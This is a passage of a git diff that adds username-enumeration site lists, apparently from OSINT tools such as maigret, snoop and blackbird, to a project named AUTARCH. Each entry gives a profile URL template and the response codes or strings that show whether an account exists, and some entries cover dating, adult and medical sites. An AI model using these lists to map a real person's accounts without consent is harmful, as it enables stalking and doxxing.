" + }, + { + "name": "zennenhund.ucoz.ru", + "url": "http://zennenhund.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zenway", + "url": "https://zenway.ru/forum/search.php?action=search&keywords=&author={}&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Zepeto", + "url": "https://gw-napi.zepeto.io/profiles/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "errorCode\":", + "match_code": 200, + "match_string": "zepetoId\":" + }, + { + "name": "zerkalastekla.ru", + "url": "http://zerkalastekla.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zerocoolpro", + "url": "https://zerocoolpro.biz/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "zhelezyaka.at.ua", + "url": "http://zhelezyaka.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zhihu", + "url": "https://www.zhihu.com/people/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u7528\u6237\u4e0d\u5b58\u5728" + }, + { + "name": "zhihu", + "url": "https://api.zhihu.com/books/people/{}/publications?offset=0&limit=5", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"name\": \"NotFoundException\"", + "match_code": 200, + "match_string": "\"is_start\": true" + }, + { + "name": "Zhihu", + "url": "https://zhihu.com/people/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": ">404", + "match_string": "\"users\":{\"" + }, + { + "name": "Zhyk", + "url": "https://zhyk.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zhyk", + "url": "https://zhyk.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "zid.moy.su", + "url": "http://zid.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zillow", + "url": "https://www.zillow.com/profile/{}/", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "- Real Estate Agent" + }, + { + "name": "Zismo", + "url": "https://zismo.biz/index.php?app=core&module=search&do=search&andor_type=&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0&search_app_filters[members][comments][sortKey]=date&search_app_filters[members][comments][sortDir]=0&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "Zmarsa.com", + "url": "https://zmarsa.com/uzytkownik/{}/glowna/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "B\u0142\u0105d na stronie", + "match_string": "Galeria u\u017cytkownika" + }, + { + "name": "zmarsa.com", + "url": "https://zmarsa.com/uzytkownik/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Error 404 - zMarsa.com<", + "match_code": 200, + "match_string": "Statystyki" + }, + { + "name": "Zmey", + "url": "https://zmey.ru/user/@{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Znanija", + "url": "https://znanija.com/graphql/ru?operationName=NickAvailability&query=query NickAvailability($nick:String!){nickAvailability(nick:$nick){isAvailable}}&variables={\"nick\":\"{}\"}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"isAvailable\":true", + "match_code": 200, + "match_string": "\"isAvailable\":false" + }, + { + "name": "Znanylekarz.pl", + "url": "https://www.znanylekarz.pl/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zoig.com", + "url": "https://zoig.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zol", + "url": "https://my.zol.com.cn/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/pl/{}/foodjourney", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/{}/reviews", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This is a 404 page and we think it's fairly clear", + "match_code": 200, + "match_string": "Activity</h4>" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/pl/{}/reviews", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "data-chunk=\"pages-Search\" src=\"" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/{}/foodjourney", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 | Zomato", + "match_code": 200, + "match_string": "| Zomato" + }, + { + "name": "Zonazakona", + "url": "https://www.zonazakona.ru/forum/search/?q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "Zoomir.ir", + "url": "https://www.zoomit.ir/user/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "txtSearch", + "match_string": "Email" + }, + { + "name": "zoomitir", + "url": "https://www.zoomit.ir/user/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>\u062e\u0637\u0627\u06cc \u06f4\u06f0\u06f4 - \u0635\u0641\u062d\u0647 \u06cc\u0627\u0641\u062a \u0646\u0634\u062f", + "match_code": 301 + }, + { + "name": "zornet.ru", + "url": "http://zornet.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zp-mama.ucoz.ua", + "url": "http://zp-mama.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zvukinadezdy.ucoz.ru", + "url": "http://zvukinadezdy.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.biz", + "url": "{}.biz", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.com", + "url": "{}.com", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.ddns.net", + "url": "{}.ddns.net", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.email", + "url": "{}.email", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.guru", + "url": "{}.guru", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.me", + "url": "{}.me", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.portfoliobox.net", + "url": "https://{}.portfoliobox.net", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.pro", + "url": "{}.pro", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.tilda.ws", + "url": "https://{}.tilda.ws", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "\u0427\u0430\u0442\u043e\u0432\u043a\u0430.net", + "url": "https://chatovka.net/search?user_nick=+{}&user_sex_m=on&user_sex_f=on", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e \u0412\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043b\u044e\u0434\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u044b.", + "match_code": 200, + "match_string": "href=\"/user/" + } + ] +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh_sites.db b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh_sites.db new file mode 100644 index 0000000..3b9c4ff Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh_sites.db differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/maigret.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/maigret.json new file mode 100644 index 0000000..f801056 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/maigret.json @@ -0,0 +1,35922 @@ +{ + "sites": { + "0-3.RU": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 4046374, + "urlMain": "http://0-3.ru", + "usernameClaimed": "donna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "101010.pl": { + "checkType": "status_code", + "urlMain": "https://101010.pl/", + "url": "https://101010.pl/@{username}", + "alexaRank": 1500240, + "usernameClaimed": "ueh_kon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "0k.clan.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 8930061, + "urlMain": "http://0k.clan.su", + "usernameClaimed": "eruzz", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "discussions.ubisoft.com": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "Block User" + ], + "absenceStrs": [ + "You seem to have stumbled upon a page that does not exist. Return to the" + ], + "url": "https://discussions.ubisoft.com/user/{username}?lang=en-US", + "usernameClaimed": "ubi-pingu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1001mem.ru": { + "tags": [ + "ru" + ], + "regexCheck": "^[^.]{1,}$", + "checkType": "message", + "absenceStrs": [ + "\u042d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d." + ], + "alexaRank": 1155058, + "urlMain": "http://1001mem.ru", + "url": "http://1001mem.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1001tracklists": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Info Page" + ], + "absenceStrs": [ + "Sorry, the requested user is not valid!" + ], + "alexaRank": 36590, + "urlMain": "https://www.1001tracklists.com", + "url": "https://www.1001tracklists.com/user/{username}/index.html", + "usernameClaimed": "JacoWilles", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "101xp.com": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "XenForo", + "alexaRank": 43529, + "urlMain": "https://forum-ru.101xp.com", + "usernameClaimed": "aida", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "11x2": { + "checkType": "status_code", + "alexaRank": 1429974, + "urlMain": "https://11x2.com", + "url": "https://11x2.com/user/home/{username}", + "usernameClaimed": "hazelamy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "123rf": { + "tags": [ + "photo", + "ru", + "us" + ], + "checkType": "response_url", + "alexaRank": 1151, + "urlMain": "https://ru.123rf.com", + "url": "https://ru.123rf.com/profile_{username}", + "usernameClaimed": "rawpixel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1337x": { + "tags": [ + "torrent" + ], + "checkType": "message", + "absenceStrs": [ + "Bad Username." + ], + "presenseStrs": [ + "Join Date" + ], + "alexaRank": 492, + "urlMain": "https://1337x.to", + "url": "https://1337x.to/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1xforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1172921, + "urlMain": "https://1xforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "247sports": { + "tags": [ + "news", + "sport" + ], + "checkType": "status_code", + "alexaRank": 2084, + "urlMain": "https://247sports.com", + "url": "https://247sports.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "24open": { + "disabled": true, + "tags": [ + "dating", + "ru", + "us" + ], + "checkType": "status_code", + "alexaRank": 50670, + "urlMain": "https://24open.ru", + "url": "https://24open.ru/user/{username}/", + "usernameClaimed": "niko3193", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2Dimensions": { + "checkType": "status_code", + "alexaRank": 8413056, + "urlMain": "https://2Dimensions.com/", + "url": "https://2Dimensions.com/a/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2berega.spb.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 1128372, + "urlMain": "https://2berega.spb.ru", + "url": "https://2berega.spb.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2d-3d": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 455230, + "urlMain": "https://www.2d-3d.ru", + "url": "https://www.2d-3d.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2fast4u": { + "disabled": true, + "tags": [ + "nl" + ], + "checkType": "message", + "absenceStrs": [ + "Deze gebruiker is niet geregistreerd, zodat je zijn of haar profiel niet kunt bekijken." + ], + "alexaRank": 1325758, + "urlMain": "https://www.2fast4u.be", + "url": "https://www.2fast4u.be/members/?username={username}", + "usernameClaimed": "Schussboelie", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "33bru": { + "tags": [ + "ru", + "ua" + ], + "regexCheck": "^[a-zA-Z0-9-]{3,}$", + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1261462, + "urlMain": "http://33bru.com/", + "url": "http://{username}.33bru.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3DMir.ru": { + "checkType": "message", + "presenseStrs": [ + "
" + ], + "absenceStrs": [ + "3DMir.ru - " + ], + "urlMain": "http://www.3dmir.ru/", + "url": "http://www.3dmir.ru/{username}", + "usernameClaimed": "imlegr", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 271232 + }, + "3dcadforums": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 927437, + "urlMain": "https://www.3dcadforums.com/", + "url": "https://www.3dcadforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "3ddd": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 11022, + "urlMain": "https://3ddd.ru", + "url": "https://3ddd.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3dnews": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 6223, + "urlMain": "http://forum.3dnews.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3dtoday": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 70101, + "urlMain": "https://3dtoday.ru/", + "url": "https://3dtoday.ru/blogs/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4cheat": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 221253, + "urlMain": "https://4cheat.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4gameforum": { + "tags": [ + "forum", + "kr", + "ru" + ], + "engine": "XenForo", + "alexaRank": 68569, + "urlMain": "https://4gameforum.com", + "usernameClaimed": "persty", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4pda": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + ], + "alexaRank": 3436, + "urlMain": "https://4pda.ru/", + "url": "https://4pda.ru/forum/index.php?act=search&source=pst&noform=1&username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "4stor": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 288919, + "urlMain": "https://4stor.ru", + "url": "https://4stor.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "500px": { + "tags": [ + "photo" + ], + "errors": { + "Something just went wrong": "Site error", + "PersistedQueryNotFound": "Site error" + }, + "urlProbe": "https://api.500px.com/graphql?operationName=ProfileRendererQuery&variables=%7B%22username%22%3A%22{username}%22%7D&extensions=%7B%22persistedQuery%22%3A%7B%22version%22%3A1%2C%22sha256Hash%22%3A%22fcecc7028c308115b0defebc63acec3fe3c12df86a602c3e1785ba5cfb8fff47%22%7D%7D", + "checkType": "message", + "absenceStrs": [ + "No message available" + ], + "alexaRank": 2906, + "urlMain": "https://500px.com/", + "url": "https://500px.com/p/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "50cc.com.ua": { + "engine": "uCoz", + "urlMain": "http://50cc.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "63148.com.ua": { + "engine": "uCoz", + "urlMain": "http://63148.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "74507.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://74507.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5800731 + }, + "7Cups": { + "tags": [ + "medicine" + ], + "checkType": "status_code", + "alexaRank": 54115, + "urlMain": "https://www.7cups.com/", + "url": "https://www.7cups.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "7dach": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 14437, + "urlMain": "https://7dach.ru/", + "url": "https://7dach.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "7ya": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 38054, + "urlMain": "https://blog.7ya.ru", + "url": "https://blog.7ya.ru/{username}/", + "usernameClaimed": "trotter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "9GAG": { + "tags": [ + "sharing" + ], + "checkType": "status_code", + "alexaRank": 459, + "urlMain": "https://www.9gag.com/", + "url": "https://www.9gag.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AMUR": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "urlMain": "https://apteka.ee", + "url": "https://apteka.ee/user/id/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aback": { + "tags": [ + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 8956795, + "urlMain": "https://aback.com.ua", + "url": "https://aback.com.ua/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "About.me": { + "tags": [ + "blog", + "in" + ], + "checkType": "status_code", + "alexaRank": 7577, + "urlMain": "https://about.me/", + "url": "https://about.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aboutcar": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 3417602, + "urlMain": "http://aboutcar.ru", + "url": "http://aboutcar.ru/members/{username}.html", + "usernameClaimed": "krolenya", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Academia.edu": { + "tags": [ + "id" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 349, + "urlMain": "https://www.academia.edu/", + "url": "https://independent.academia.edu/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Acomics": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 148931, + "urlMain": "https://acomics.ru", + "url": "https://acomics.ru/-{username}", + "usernameClaimed": "Garage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AdultFriendFinder": { + "tags": [ + "dating", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<select name=\"REG_sex\" >" + ], + "alexaRank": 2857, + "urlMain": "https://adultfriendfinder.com", + "url": "https://adultfriendfinder.com/profile/{username}", + "usernameClaimed": "havefunwing", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "AdvancedCustomFields": { + "tags": [ + "au", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "alexaRank": 7863, + "urlMain": "https://support.advancedcustomfields.com/", + "url": "https://support.advancedcustomfields.com/forums/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Advego": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 10961, + "urlMain": "https://advego.com/", + "url": "https://advego.com/profile/{username}/author/", + "usernameClaimed": "kazakov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Affiliatefix": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 28014, + "urlMain": "https://www.affiliatefix.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Afterellen": { + "disabled": true, + "tags": [ + "forum", + "pk", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 637223, + "urlMain": "https://forums.afterellen.com", + "url": "https://forums.afterellen.com/members/?username={username}", + "usernameClaimed": "buffaloed", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Airbit": { + "checkType": "status_code", + "url": "https://airbit.com/{username}", + "usernameClaimed": "airbit", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Airliners": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 30355, + "urlMain": "https://www.airliners.net/", + "url": "https://www.airliners.net/user/{username}/profile/photos", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alabay": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "urlMain": "https://alabay.forum24.ru", + "url": "https://alabay.forum24.ru/?32-{username}", + "usernameClaimed": "asian", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alexgyver": { + "tags": [ + "de", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 87631, + "urlMain": "https://community.alexgyver.ru", + "usernameClaimed": "kdn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "All-mods": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 276845, + "urlMain": "https://all-mods.ru", + "url": "https://all-mods.ru/author/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllKPop": { + "tags": [ + "de", + "kr", + "us" + ], + "checkType": "response_url", + "alexaRank": 7091, + "urlMain": "https://www.allkpop.com/", + "url": "https://www.allkpop.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllRecipes": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page Not Found.", + "You may have mistyped the address, or the page may have moved." + ], + "presenseStrs": [ + "Saved Items & Collections", + "{username}" + ], + "alexaRank": 983, + "urlMain": "https://www.allrecipes.com/", + "url": "https://www.allrecipes.com/cook/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTheLyrics": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "music" + ], + "engine": "vBulletin", + "alexaRank": 92241, + "urlMain": "https://www.allthelyrics.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTheSoft": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1761461, + "urlMain": "http://www.allthesoft.com", + "url": "http://www.allthesoft.com/member/{username}.html", + "usernameClaimed": "marmon4270", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTrails": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "presenseStrs": [ + "Profile" + ], + "absenceStrs": [ + "You are being" + ], + "alexaRank": 4429, + "urlMain": "https://www.alltrails.com/", + "url": "https://www.alltrails.com/members/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Allhockey": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 43048, + "urlMain": "https://allhockey.ru/", + "url": "https://allhockey.ru/blog/{username}", + "usernameClaimed": "Dmitri%20Nikulin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Allods": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://allods.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "AlternativeTo": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "<title>404: This page could not be found" + ], + "alexaRank": 6524, + "urlMain": "https://alternativeto.net/", + "url": "https://alternativeto.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alushta24": { + "tags": [ + "ru", + "ua" + ], + "checkType": "response_url", + "alexaRank": 2013642, + "urlMain": "https://alushta24.org", + "url": "https://alushta24.org/user/{username}/", + "usernameClaimed": "Igor11324", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AmazfitWatchFaces": { + "urlSubpath": "/forum", + "tags": [ + "ae", + "es", + "forum", + "gr", + "id", + "ir", + "ru" + ], + "engine": "phpBB", + "alexaRank": 139768, + "urlMain": "https://amazfitwatchfaces.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ameba": { + "tags": [ + "jp" + 